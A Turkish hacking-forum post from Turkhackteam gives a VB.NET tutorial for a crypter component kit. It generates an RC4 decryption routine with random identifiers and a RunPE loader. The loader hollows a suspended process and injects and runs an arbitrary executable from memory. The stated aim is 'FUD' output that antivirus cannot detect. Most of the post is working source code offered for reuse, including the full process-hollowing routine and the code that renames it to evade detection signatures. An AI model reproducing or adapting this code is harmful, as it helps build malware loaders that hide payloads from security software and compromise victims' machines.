RunPE & RC4 Generator Kodlayalım [ vb.net ] [ Özgün Konu ]

Maveraün Nehr

Blue Expert / Head of Malware Team
25 Haz 2021
979
1,879
41.303921, -81.901693
Merhabalar bugün geçmiş forumları incelerken pek çok hazır kaynak kod üretici İngilizce deyimi ile source generator gördüm. Bunlardan bazıları @'AnKeBuT adlı üyeye ait. Visual Basic 6 dilinde kodlanmış ve FUD oranı ele alınmış zaten bu tür uygulamalarda önemli olan bu orandır. Bu oran ise kullanmış olduğunuz algoritma ile alakalıdır. Ben de daha önce sanal ortamda araştırma yaparken Bawaneh adlı bir kullanıcının kodlamış olduğu RunPE oluşturucuya biraz modifikasyon ekledim. Ortaya çıkan sonucu sizinle paylaşmak istedim...

Konuya başlamadan önce üretim için bir adet modül ekleyelim projemize. İçerisine aşağıda vereceğim kodları yerleştirelim.


Modulümüzün başına en başına ekleyelim;

Imports System.Security.Cryptography

Modül Kodlarımız;


C#:
 Public Class RandomPassword

        ' Define default min and max password lengths.
        Private Shared DEFAULT_MIN_PASSWORD_LENGTH As Integer = 8
        Private Shared DEFAULT_MAX_PASSWORD_LENGTH As Integer = 10

        ' Define supported password characters divided into groups.
        ' You can add (or remove) characters to (from) these groups.
        Private Shared PASSWORD_CHARS_LCASE As String = "abcdefgijkmnopqrstwxyz"
        Private Shared PASSWORD_CHARS_UCASE As String = "ABCDEFGHJKLMNPQRSTWXYZ"
        Private Shared PASSWORD_CHARS_NUMERIC As String = "1234567890"
        Private Shared PASSWORD_CHARS_SPECIAL As String = "öşçğıü"
        Public Shared Function Generate() As String
            Generate = Generate(DEFAULT_MIN_PASSWORD_LENGTH, _
                                DEFAULT_MAX_PASSWORD_LENGTH)
        End Function

        Public Shared Function Generate(ByVal length As Integer) As String
            Generate = Generate(length, length)
        End Function

        Public Shared Function Generate(ByVal minLength As Integer, _
                                        ByVal maxLength As Integer) _
            As String
            If (minLength <= 0 Or maxLength <= 0 Or minLength > maxLength) Then
                Generate = Nothing
            End If

            Dim charGroups As Char()() = New Char()() _
            { _
                PASSWORD_CHARS_LCASE.ToCharArray(), _
                PASSWORD_CHARS_UCASE.ToCharArray(), _
                PASSWORD_CHARS_NUMERIC.ToCharArray(), _
                PASSWORD_CHARS_SPECIAL.ToCharArray() _
            }

            Dim charsLeftInGroup As Integer() = New Integer(charGroups.Length - 1) {}
            Dim I As Integer
            For I = 0 To charsLeftInGroup.Length - 1
                charsLeftInGroup(I) = charGroups(I).Length
            Next

            ' Use this array to track (iterate through) unused character groups.
            Dim leftGroupsOrder As Integer() = New Integer(charGroups.Length - 1) {}

            ' Initially, all character groups are not used.
            For I = 0 To leftGroupsOrder.Length - 1
                leftGroupsOrder(I) = I
            Next

            ' Because we cannot use the default randomizer, which is based on the
            ' current time (it will produce the same "random" number within a
            ' second), we will use a random number generator to seed the
            ' randomizer.

            ' Use a 4-byte array to fill it with random bytes and convert it then
            ' to an integer value.
            Dim randomBytes As Byte() = New Byte(3) {}

            ' Generate 4 random bytes.
            Dim rng As RNGCryptoServiceProvider = New RNGCryptoServiceProvider()

            rng.GetBytes(randomBytes)

            ' Convert 4 bytes into a 32-bit integer value.
            Dim seed As Integer = ((randomBytes(0) And &H7F) << 24 Or _
                                    randomBytes(1) << 16 Or _
                                    randomBytes(2) << 8 Or _
                                    randomBytes(3))

            ' Now, this is real randomization.
            Dim random As Random = New Random(seed)

            ' This array will hold password characters.
            Dim password As Char() = Nothing

            ' Allocate appropriate memory for the password.
            If (minLength < maxLength) Then
                password = New Char(random.Next(minLength - 1, maxLength)) {}
            Else
                password = New Char(minLength - 1) {}
            End If

            ' Index of the next character to be added to password.
            Dim nextCharIdx As Integer

            ' Index of the next character group to be processed.
            Dim nextGroupIdx As Integer

            ' Index which will be used to track not processed character groups.
            Dim nextLeftGroupsOrderIdx As Integer

            ' Index of the last non-processed character in a group.
            Dim lastCharIdx As Integer

            ' Index of the last non-processed group.
            Dim lastLeftGroupsOrderIdx As Integer = leftGroupsOrder.Length - 1

            ' Generate password characters one at a time.
            For I = 0 To password.Length - 1

                ' If only one character group remained unprocessed, process it;
                ' otherwise, pick a random character group from the unprocessed
                ' group list. To allow a special character to appear in the
                ' first position, increment the second parameter of the Next
                ' function call by one, i.e. lastLeftGroupsOrderIdx + 1.
                If (lastLeftGroupsOrderIdx = 0) Then
                    nextLeftGroupsOrderIdx = 0
                Else
                    nextLeftGroupsOrderIdx = random.Next(0, lastLeftGroupsOrderIdx)
                End If

                ' Get the actual index of the character group, from which we will
                ' pick the next character.
                nextGroupIdx = leftGroupsOrder(nextLeftGroupsOrderIdx)

                ' Get the index of the last unprocessed characters in this group.
                lastCharIdx = charsLeftInGroup(nextGroupIdx) - 1

                ' If only one unprocessed character is left, pick it; otherwise,
                ' get a random character from the unused character list.
                If (lastCharIdx = 0) Then
                    nextCharIdx = 0
                Else
                    nextCharIdx = random.Next(0, lastCharIdx + 1)
                End If

                ' Add this character to the password.
                password(I) = charGroups(nextGroupIdx)(nextCharIdx)

                ' If we processed the last character in this group, start over.
                If (lastCharIdx = 0) Then
                    charsLeftInGroup(nextGroupIdx) = _
                                    charGroups(nextGroupIdx).Length
                    ' There are more unprocessed characters left.
                Else
                    ' Swap processed character with the last unprocessed character
                    ' so that we don't pick it until we process all characters in
                    ' this group.
                    If (lastCharIdx <> nextCharIdx) Then
                        Dim temp As Char = charGroups(nextGroupIdx)(lastCharIdx)
                        charGroups(nextGroupIdx)(lastCharIdx) = _
                                    charGroups(nextGroupIdx)(nextCharIdx)
                        charGroups(nextGroupIdx)(nextCharIdx) = temp
                    End If

                    ' Decrement the number of unprocessed characters in
                    ' this group.
                    charsLeftInGroup(nextGroupIdx) = _
                               charsLeftInGroup(nextGroupIdx) - 1
                End If

                ' If we processed the last group, start all over.
                If (lastLeftGroupsOrderIdx = 0) Then
                    lastLeftGroupsOrderIdx = leftGroupsOrder.Length - 1
                    ' There are more unprocessed groups left.
                Else
                    ' Swap processed group with the last unprocessed group
                    ' so that we don't pick it until we process all groups.
                    If (lastLeftGroupsOrderIdx <> nextLeftGroupsOrderIdx) Then
                        Dim temp As Integer = _
                                    leftGroupsOrder(lastLeftGroupsOrderIdx)
                        leftGroupsOrder(lastLeftGroupsOrderIdx) = _
                                    leftGroupsOrder(nextLeftGroupsOrderIdx)
                        leftGroupsOrder(nextLeftGroupsOrderIdx) = temp
                    End If

                    ' Decrement the number of unprocessed groups.
                    lastLeftGroupsOrderIdx = lastLeftGroupsOrderIdx - 1
                End If
            Next

            ' Convert password characters into a string and return the result.
            Generate = New String(password)
        End Function

    End Class

RC4 İçin;

1 Adet TrackBar ekleyelim. Bu bize üretilen değişkenlerin uzunluğunu verecek.

21 adet Textbox ekledim bunlardan 19 tanesini arka planda gizledim. Üretilen değişkenlere bir nesneye bağlayınca aynı sonucu veriyor farklı sonuç vermesi için böyle bir şey yaptım. Siz Resource yani Kaynaklar sekmesinden değişken kullanarak benim yaptığım gibi uzun yoldan gitmezsiniz zaten alt bölmelerde Bawaneh adlı kullanıcı böyle yapmış. Bu arada Textbox'lara isim verdim. Bunlardan sadece 2 ve 3 numaraları Textbox'lar işlem yapacak Textbox2 RC4'ün nasıl kullanıldığı hakkında bilgi verecek Textbox3 şifrelenmiş RC4 sonucunu ortaya çıkartacak.
2 adet Buton ekleyelim bunlardan birisi RC4 üretmek için diğeri üretilen RC4'ü kopyalamak için.

RC4 Üret Kodum;


C#:
TextBox1.Text = RandomPassword.Generate(TrackBar1.Value, TrackBar1.Value)
        yusuf.Text = RandomPassword.Generate(TrackBar1.Value, TrackBar1.Value)
        hasan.Text = RandomPassword.Generate(TrackBar1.Value, TrackBar1.Value)
        rahmi.Text = RandomPassword.Generate(TrackBar1.Value, TrackBar1.Value)
        kadir.Text = RandomPassword.Generate(TrackBar1.Value, TrackBar1.Value)
        ahmet.Text = RandomPassword.Generate(TrackBar1.Value, TrackBar1.Value)
        faruk.Text = RandomPassword.Generate(TrackBar1.Value, TrackBar1.Value)
        bilal.Text = RandomPassword.Generate(TrackBar1.Value, TrackBar1.Value)
        cem.Text = RandomPassword.Generate(TrackBar1.Value, TrackBar1.Value)
        soner.Text = RandomPassword.Generate(TrackBar1.Value, TrackBar1.Value)
        adnan.Text = RandomPassword.Generate(TrackBar1.Value, TrackBar1.Value)
        kenan.Text = RandomPassword.Generate(TrackBar1.Value, TrackBar1.Value)
        volkan.Text = RandomPassword.Generate(TrackBar1.Value, TrackBar1.Value)
        taner.Text = RandomPassword.Generate(TrackBar1.Value, TrackBar1.Value)
        şaban.Text = RandomPassword.Generate(TrackBar1.Value, TrackBar1.Value)
        ferhat.Text = RandomPassword.Generate(TrackBar1.Value, TrackBar1.Value)
        burak.Text = RandomPassword.Generate(TrackBar1.Value, TrackBar1.Value)
        necati.Text = RandomPassword.Generate(TrackBar1.Value, TrackBar1.Value)
        timur.Text = RandomPassword.Generate(TrackBar1.Value, TrackBar1.Value)
        TextBox2.Text = TextBox1.Text + "(" + yusuf.Text + "," + " " + hasan.Text + ")"
        TextBox3.Text = "Public Shared Function " + TextBox1.Text + "(" + "Byval " + yusuf.Text + " As String" + ", " + "Byval " + hasan.Text + " As String" + ")" + "As String" + vbCrLf & "Dim " + rahmi.Text + " As Integer = 0" + vbCrLf + "Dim " + kadir.Text + " As Integer = 0" + vbCrLf + "Dim " + ahmet.Text + " As New StringBuilder" + vbCrLf + "Dim " + faruk.Text + " As String = String.Empty" + vbCrLf + "Dim " + bilal.Text + " As Integer() = New Integer(256) {}" + vbCrLf + "Dim " + cem.Text + " As Integer() = New Integer(256) {}" + vbCrLf + "Dim " + soner.Text + " As Integer = " + hasan.Text + "." + "Length" + vbCrLf + "Dim " + adnan.Text + " As Integer = 0" + vbCrLf + "While " + adnan.Text + " <= 255" + vbCrLf + "Dim " + kenan.Text + " As Char = (" + hasan.Text + ".Substring((" + adnan.Text + " " + "Mod" + " " + soner.Text + "), 1).ToCharArray()(0))" + vbCrLf + cem.Text + "(" + adnan.Text + ") " + "= Microsoft.VisualBasic.Strings.Asc(" + kenan.Text + ")" + vbCrLf + bilal.Text + "(" + adnan.Text + ") " + "= " + adnan.Text + vbCrLf + "System.Math.Max(System.Threading.Interlocked.Increment(" + adnan.Text + ")" + ", " + adnan.Text + " - 1)" + vbCrLf + "End While" + vbCrLf + "Dim " + volkan.Text + " As Integer = 0" + vbCrLf + "Dim " + taner.Text + " As Integer = 0" + vbCrLf + "While " + taner.Text + " <= 255" + vbCrLf + volkan.Text + " =" + " (" + volkan.Text + " +" + " " + bilal.Text + "(" + taner.Text + ") " + "+ " + cem.Text + "(" + taner.Text + ")" + ")" + " Mod 256" + vbCrLf + "Dim " + şaban.Text + " As Integer = " + bilal.Text + "(" + taner.Text + ")" + vbCrLf + bilal.Text + "(" + taner.Text + ") " + "= " + bilal.Text + "(" + volkan.Text + ")" + vbCrLf + bilal.Text + "(" + volkan.Text + ") " + "= " + şaban.Text + vbCrLf + "System.Math.Max(System.Threading.Interlocked.Increment(" + taner.Text + "), " + taner.Text + " -1)" + vbCrLf + "End While" + vbCrLf + adnan.Text + " = 1" + vbCrLf + "While " + adnan.Text + " <=" + " " + yusuf.Text + ".Length" + vbCrLf + "Dim " + ferhat.Text + " As Integer = 0" + vbCrLf + rahmi.Text + " =" + " (" + rahmi.Text + " +" + " 1" + ")" + " Mod 256" + vbCrLf + kadir.Text + " =" + " (" + kadir.Text + " +" + " " + bilal.Text + "(" + rahmi.Text + ")" + ")" + " Mod 256" + vbCrLf + ferhat.Text + " =" + " " + bilal.Text + "(" + rahmi.Text + ")" + vbCrLf + bilal.Text + "(" + rahmi.Text + ")" + " =" + " " + bilal.Text + "(" + kadir.Text + ")" + vbCrLf + bilal.Text + "(" + rahmi.Text + ")" + " =" + " " + ferhat.Text + vbCrLf + "Dim " + burak.Text + " As Integer = " + bilal.Text + "(" + "(" + bilal.Text + "(" + rahmi.Text + ")" + " +" + " " + bilal.Text + "(" + kadir.Text + ")" + ")" + " Mod 256)" + vbCrLf + "Dim " + necati.Text + " As Char = " + yusuf.Text + ".Substring(" + adnan.Text + " - 1, 1).ToCharArray()(0)" + vbCrLf + ferhat.Text + " =" + " Asc(" + necati.Text + ")" + vbCrLf + "Dim " + timur.Text + " As Integer = " + ferhat.Text + " " + "Xor " + burak.Text + vbCrLf + ahmet.Text + ".Append(Chr(" + timur.Text + ")" + ")" + vbCrLf + "System.Math.Max(System.Threading.Interlocked.Increment(" + adnan.Text + "), " + adnan.Text + " - 1)" + vbCrLf + "End While" + vbCrLf + faruk.Text + " =" + " " + ahmet.Text + ".ToString" + vbCrLf + ahmet.Text + ".Length = 0" + vbCrLf + "Return " + faruk.Text + vbCrLf + "End Function"

Kopyala Kodum;

C#:
     Clipboard.Clear()
        Clipboard.SetText(TextBox1.Text)
        MsgBox("Başarı İle Kopyalandı.", MsgBoxStyle.Information, "Sistem")

Demo Form Tasarım Örneği;

1mmsptt.PNG


1fpuvy5.PNG


Konu Devam Ediyor...
 

Maveraün Nehr

Blue Expert / Head of Malware Team
25 Haz 2021
979
1,879
41.303921, -81.901693
RunPe İçin

Ben uzunluk ayarı olarak 7 adet Trackbar'dan oluşan bir ayarlar formu yaptım yani projeme yeni bir form ekledim. Sırası ile Trackbar isimleri DynmicApi Value kısmı 5 olsun, api Value kısmı 6 olsun, apiparametre Value kısmı 4 olsun, ReadPtr Value kısmı 7 olsun, iexec Value kısmı 8 olsun, createapi Value kısmı 15 olsun, diger Value kısmı 9 olsun. Bunlar standart RunPe uzunluk ayarları kullanıcı isterse bunları TrackBar üzerinden arttırıp düşürebilir. Ayrıca bir buton ekleyip üzerine Kaydet ve Geri Dön yazalım buton kodumuz Me.Hide().

RunPe üreteceğimiz forma geri dönelim ve projemizin en başına kütüphanemizi yazalım;


Imports System.Text

Formumuzda bulunması gereken ögeler;

1 Adet Textbox üretilen RunPE'yi görmek için. ScrollBars özelliği ForcedVertical olsun.

3 Adet Buton bunlardan birisi RunPE üretmek için diğeri üretilen RunPE'yi kopyalamak için sonuncusu ise konu başında bahsettiğim ayarlar formuna dönmek için.
1 Adet Label ekleyelim rapor için.

RunPe oluşturmak için kullandığımız yardımcı kod;


C#:
    Public Shared Function GeneratePassword(ByVal Uppers As Boolean, ByVal Lowers As Boolean, ByVal Numbers As Boolean, ByVal Specials As Boolean, ByVal passwordLength As Integer) As String
        Dim str2 As String
        Dim str3 As String
        If Uppers Then
            str2 = (str2 & "ABCDEFGHIJKLMNOPQRSTUVWXYZ")
        End If
        If Lowers Then
            str2 = (str2 & "abcdefghijklmnopqrstuvwxyz")
        End If
        If Numbers Then
            str2 = (str2 & "0123456789")
        End If
        If Specials Then
            str2 = (str2 & "~`!@#$%^&*()_+=-{[}]|;:'<,>.?")
        End If
        VBMath.Randomize()
        Dim num2 As Integer = (passwordLength - 1)
        Dim i As Integer = 0
        Do While (i <= num2)
            str3 = (str3 & Strings.Mid(str2, CInt(Math.Round(CDbl(((Strings.Len(str2) * VBMath.Rnd) + 1.0!)))), 1))
            i += 1
        Loop
        Return str3
    End Function

Kaynaklar İngilizce deyim ile Resources kısmına gidelim ve String kaynağı ekleyelim adı String1 olsun. Değer veya Value kısmına aşağıdaki kodu yapıştıralım;

C#:
Public Class alaa
    Public Declare Function apii9 Lib "kernel32" Alias "LoadLibraryA" (ByVal name As String) As IntPtr
    Public Declare Function apii0 Lib "kernel32" Alias "GetProcAddress" (ByVal handle As IntPtr, ByVal name As String) As IntPtr
    Function CreateAPI(Of T)(ByVal name As String, ByVal method As String) As T
        Return DirectCast(DirectCast(Marshal.GetDelegateForFunctionPointer(apii0(apii9(name), method), GetType(T)), Object), T)
    End Function
    Delegate Function apii1(ByVal hThr As IntPtr, ByVal CNTXT As UInteger()) As <MarshalAs(UnmanagedType.Bool)> Boolean
    Delegate Function apii2(ByVal hProc As IntPtr, ByVal baseAddr As IntPtr) As UInteger
    Delegate Function apii3(ByVal hProc As IntPtr, ByVal baseAddr As IntPtr, ByRef bufr As IntPtr, ByVal bufrSS As Integer, ByRef numRead As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean
    Delegate Function apii4(ByVal hThread As IntPtr, ByVal SC As IntPtr) As UInteger
    Delegate Function apii5(ByVal hThr As IntPtr, ByVal CNTXT As UInteger()) As <MarshalAs(UnmanagedType.Bool)> Boolean
    Delegate Function apii6(ByVal hProc As IntPtr, ByVal addr As IntPtr, ByVal SS As IntPtr, ByVal allocType As Integer, ByVal prot As Integer) As IntPtr
    Delegate Function apii7(ByVal hProcess As IntPtr, ByVal VABA As IntPtr, ByVal lpBuffer As Byte(), ByVal nSS As UInteger, ByVal NOBW As Integer) As Boolean
    Public Declare Auto Function apii8 Lib "kernel32" Alias "CreateProcessW" (ByVal appName As String, ByVal commandLine As StringBuilder, ByVal PTA As IntPtr, ByVal thrAttr As IntPtr, <MarshalAs(UnmanagedType.Bool)> ByVal inherit As Boolean, ByVal creation As Integer, ByVal env As IntPtr, ByVal curDir As String, ByVal sInfo As Byte(), ByVal pInfo As IntPtr()) As <MarshalAs(UnmanagedType.Bool)> Boolean
    Private Function ReadPtr(ByVal lPtr As Long, Optional ByVal lSS As Long = &H4) As Integer
        Dim lRes As IntPtr
        Dim lBr As Integer
        Dim api4 As apii3 = CreateAPI(Of apii3)("ntdll", "NtReadVirtualMemory")
        Call api4(Process.GetCurrentProcess.Handle, lPtr, lRes, lSS, lBr)
        Return lRes
    End Function
    Public Function iExec(ByVal Buffbawa As Byte(), ByVal sExe As String) As Boolean
        Try
            Dim hGC As GCHandle = GCHandle.Alloc(Buffbawa, GCHandleType.Pinned) : Dim hModuleBase As Integer = hGC.AddrOfPinnedObject : hGC.Free()
            Dim PTA As IntPtr = IntPtr.Zero
            Dim tPI As IntPtr() = New IntPtr(3) {}
            Dim tSI As Byte() = New Byte(67) {}
            Dim N2 As Integer = BitConverter.ToInt32(Buffbawa, 60)
            Dim IB As Integer
            Dim CNTXT As UInteger() = New UInteger(178) {}
            CNTXT(0) = &H10002
            apii8(Nothing, New StringBuilder(sExe), PTA, PTA, False, 4, PTA, Nothing, tSI, tPI)
            Dim hPE As Integer = (hModuleBase + ReadPtr(hModuleBase + &H3C))
            IB = ReadPtr(hPE + &H34)
            Dim api3 As apii2 = CreateAPI(Of apii2)("ntdll", "NtUnmapViewOfSection")
            api3(tPI(0), IB)
            Dim api7 As apii6 = CreateAPI(Of apii6)("kernel32", "VirtualAllocEx")
            Dim VABA As IntPtr = api7(tPI(0), IB, ReadPtr(hPE + &H50), &H3000, &H40)
            Dim SA As New IntPtr(BitConverter.ToInt32(Buffbawa, N2 + &H34))
            Dim SS As New IntPtr(BitConverter.ToInt32(Buffbawa, N2 + 80))
            Dim WRET As Integer
            Dim NOBW As Integer
            Dim api8 As apii7 = CreateAPI(Of apii7)("ntdll", "NtWriteVirtualMemory")
            api8(tPI(0), VABA, Buffbawa, CUInt(CInt(ReadPtr(hPE + &H54))), WRET)
            For i = 0 To ReadPtr(hPE + &H6, 2) - 1
                Dim Destination As Integer() = New Integer(9) {}
                Buffer.BlockCopy(Buffbawa, (N2 + &HF8) + (i * 40), Destination, 0, 40)
                Dim B2 As Byte() = New Byte((Destination(4) - 1)) {}
                Buffer.BlockCopy(Buffbawa, Destination(5), B2, 0, B2.Length)
                SS = New IntPtr(VABA.ToInt32() + Destination(3))
                SA = New IntPtr(B2.Length)
                api8(tPI(0), SS, B2, CUInt(SA), NOBW)
            Next i
            Dim api2 As apii1 = CreateAPI(Of apii1)("ntdll", "NtGetContextThread")
            api2(tPI(1), CNTXT)
            api8(tPI(0), CNTXT(41) + &H8, BitConverter.GetBytes(VABA.ToInt32()), CUInt(&H4), NOBW)
            CNTXT(&H2C) = IB + ReadPtr(hPE + &H28)
            Dim api6 As apii5 = CreateAPI(Of apii5)("ntdll", "NtSetContextThread")
            api6(tPI(1), CNTXT)
            Dim api5 As apii4 = CreateAPI(Of apii4)("ntdll", "NtResumeThread")
            api5(tPI(1), 0)
        Catch ex As Exception
            Return False
        End Try
        Return True
    End Function
End Class

RunPe Üret Butonumuzun Kodu;

C#:
 Try
            Dim src As String = My.Resources.String1
            Dim s As String = "apii9|apii0|apii1|apii2|apii3|apii4|apii5|apii6|apii7|apii8|"
            Dim ss As String() = Split(s, "|")
            Dim sb As New StringBuilder
            Dim n As String = GeneratePassword(True, True, False, False, 11)
            Dim m As String = GeneratePassword(True, True, False, False, 11)

            sb.AppendLine("'''' <summary>")
            sb.AppendLine("'''' Author : Coded By Bawaneh Develop By Maveraun.Nehr")
            sb.AppendLine("'''' Thanks : Simon-Binyo (For The smRunPE) ")
            sb.AppendLine("'''' Call : Dim x AS New " & n & ": x" & "." & m & "( byte() , String )")
            sb.AppendLine("'''' Purpose : Execute App In Memory from byte array")
            sb.AppendLine("'''' Support : THT")
            sb.AppendLine("'''' </summary>")
            '-----------------------     api par      ---------------------------
            src = src.Replace("name", GeneratePassword(True, True, False, False, Form3.apiparametre.Value))
            src = src.Replace("method", GeneratePassword(True, True, False, False, Form3.apiparametre.Value))
            src = src.Replace("handle", GeneratePassword(True, True, False, False, Form3.apiparametre.Value)) '4
            src = src.Replace("hThr", GeneratePassword(True, True, False, False, Form3.apiparametre.Value))
            src = src.Replace("numRead", GeneratePassword(True, True, False, False, Form3.apiparametre.Value))
            src = src.Replace("hProc", GeneratePassword(True, True, False, False, Form3.apiparametre.Value))
            src = src.Replace("baseAddr", GeneratePassword(True, True, False, False, Form3.apiparametre.Value))
            src = src.Replace("hThread", GeneratePassword(True, True, False, False, Form3.apiparametre.Value))
            src = src.Replace("SC", GeneratePassword(True, True, False, False, Form3.apiparametre.Value))
            src = src.Replace("addr", GeneratePassword(True, True, False, False, Form3.apiparametre.Value))
            src = src.Replace("allocType", GeneratePassword(True, True, False, False, Form3.apiparametre.Value))
            src = src.Replace("prot", GeneratePassword(True, True, False, False, Form3.apiparametre.Value))
            src = src.Replace("lpBuffer", GeneratePassword(True, True, False, False, Form3.apiparametre.Value))
            src = src.Replace("appName", GeneratePassword(True, True, False, False, Form3.apiparametre.Value))
            src = src.Replace("commandLine", GeneratePassword(True, True, False, False, Form3.apiparametre.Value))
            src = src.Replace("thrAttr", GeneratePassword(True, True, False, False, Form3.apiparametre.Value))
            src = src.Replace("inherit", GeneratePassword(True, True, False, False, Form3.apiparametre.Value))
            src = src.Replace("creation", GeneratePassword(True, True, False, False, Form3.apiparametre.Value))
            src = src.Replace("env", GeneratePassword(True, True, False, False, Form3.apiparametre.Value))
            src = src.Replace("curDir", GeneratePassword(True, True, False, False, Form3.apiparametre.Value))
            src = src.Replace("sInfo", GeneratePassword(True, True, False, False, Form3.apiparametre.Value))
            src = src.Replace("pInfo", GeneratePassword(True, True, False, False, Form3.apiparametre.Value))

            src = src.Replace("CreateAPI", GeneratePassword(True, True, False, False, Form3.createapi.Value)) '15

            src = src.Replace("alaa", n)
            '--------------------       api       -------------------------------
            src = src.Replace(ss(0), GeneratePassword(True, True, False, False, Form3.api.Value))
            src = src.Replace(ss(1), GeneratePassword(True, True, False, False, Form3.api.Value)) '6
            src = src.Replace(ss(2), GeneratePassword(True, True, False, False, Form3.api.Value))
            src = src.Replace(ss(3), GeneratePassword(True, True, False, False, Form3.api.Value))
            src = src.Replace(ss(4), GeneratePassword(True, True, False, False, Form3.api.Value))
            src = src.Replace(ss(5), GeneratePassword(True, True, False, False, Form3.api.Value))
            src = src.Replace(ss(6), GeneratePassword(True, True, False, False, Form3.api.Value))
            src = src.Replace(ss(7), GeneratePassword(True, True, False, False, Form3.api.Value))
            src = src.Replace(ss(8), GeneratePassword(True, True, False, False, Form3.api.Value))
            src = src.Replace(ss(9), GeneratePassword(True, True, False, False, Form3.api.Value))
            '--------------------     dynmic api   ------------------------------
            s = "api1|api2|api3|api4|api5|api6|api7|"
            ss = Split(s, "|")
            src = src.Replace(ss(0), GeneratePassword(True, True, False, False, Form3.DynmicApi.Value)) '5
            src = src.Replace(ss(1), GeneratePassword(True, True, False, False, Form3.DynmicApi.Value))
            src = src.Replace(ss(2), GeneratePassword(True, True, False, False, Form3.DynmicApi.Value))
            src = src.Replace(ss(3), GeneratePassword(True, True, False, False, Form3.DynmicApi.Value))
            src = src.Replace(ss(4), GeneratePassword(True, True, False, False, Form3.DynmicApi.Value))
            src = src.Replace(ss(5), GeneratePassword(True, True, False, False, Form3.DynmicApi.Value))
            src = src.Replace(ss(6), GeneratePassword(True, True, False, False, Form3.DynmicApi.Value))
            '-------------------------   ReadPtr   -------------------------------
            src = src.Replace("ReadPtr", GeneratePassword(True, True, False, False, Form3.ReadPtr.Value)) '7
            src = src.Replace("lPtr", GeneratePassword(True, True, False, False, Form3.ReadPtr.Value))
            src = src.Replace("lSS", GeneratePassword(True, True, False, False, Form3.ReadPtr.Value))
            src = src.Replace("lRes", GeneratePassword(True, True, False, False, Form3.ReadPtr.Value))
            src = src.Replace("lBr", GeneratePassword(True, True, False, False, Form3.ReadPtr.Value))
            '------------------------    iExec     -------------------------------
            src = src.Replace("iExec", m)
            src = src.Replace("Buffbawa", GeneratePassword(True, True, False, False, Form3.iexec.Value)) '8
            src = src.Replace("sExe", GeneratePassword(True, True, False, False, Form3.iexec.Value))

            src = src.Replace("hGC", GeneratePassword(True, True, False, False, Form3.diger.Value))
            src = src.Replace("PTA", GeneratePassword(True, True, False, False, Form3.diger.Value)) '9
            src = src.Replace("tPI", GeneratePassword(True, True, False, False, Form3.diger.Value))
            src = src.Replace("tSI", GeneratePassword(True, True, False, False, Form3.diger.Value))
            src = src.Replace("N2", GeneratePassword(True, True, False, False, Form3.diger.Value))
            src = src.Replace("IB", GeneratePassword(True, True, False, False, Form3.diger.Value))
            src = src.Replace("CNTXT", GeneratePassword(True, True, False, False, Form3.diger.Value))
            src = src.Replace("hPE", GeneratePassword(True, True, False, False, Form3.diger.Value))
            src = src.Replace("VABA", GeneratePassword(True, True, False, False, Form3.diger.Value))
            src = src.Replace("SA", GeneratePassword(True, True, False, False, Form3.diger.Value))
            src = src.Replace("SS", GeneratePassword(True, True, False, False, Form3.diger.Value))
            src = src.Replace("WRET", GeneratePassword(True, True, False, False, Form3.diger.Value))
            src = src.Replace("NOBW", GeneratePassword(True, True, False, False, Form3.diger.Value))
            src = src.Replace("Destination", GeneratePassword(True, True, False, False, Form3.diger.Value))
            src = src.Replace("B2", GeneratePassword(True, True, False, False, Form3.diger.Value))
            TextBox1.SelectionColor = Color.White
            TextBox1.AppendText("Imports System.Runtime.InteropServices" & vbNewLine)
            TextBox1.AppendText("Imports System.Text" & vbNewLine & vbNewLine)
            TextBox1.Select()
            TextBox1.SelectionColor = Color.Green
            TextBox1.AppendText(sb.ToString & vbNewLine)
            TextBox1.SelectionColor = Color.White
            For Each c As Char In src
                TextBox1.AppendText(c)
            Next
            Label2.Text = ("[ Fud RunPE Başarı İle Oluştuldu. ]")
        Catch ex As Exception

        End Try

Kopyala Butonu Kodum;
C#:
    Try
            Clipboard.SetText(TextBox1.Text)
            Label2.Text = ("--------")
            Label2.Text = ("Kopyalandı!")
            TextBox1.Clear()
        Catch ex As Exception

        End Try

Demo Forum Tasarımı Örneğim;

b7u6niq.PNG


Resource Yani Kaynak Kısmı Kullanım Eğitim Videosu;


~ SON ~
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.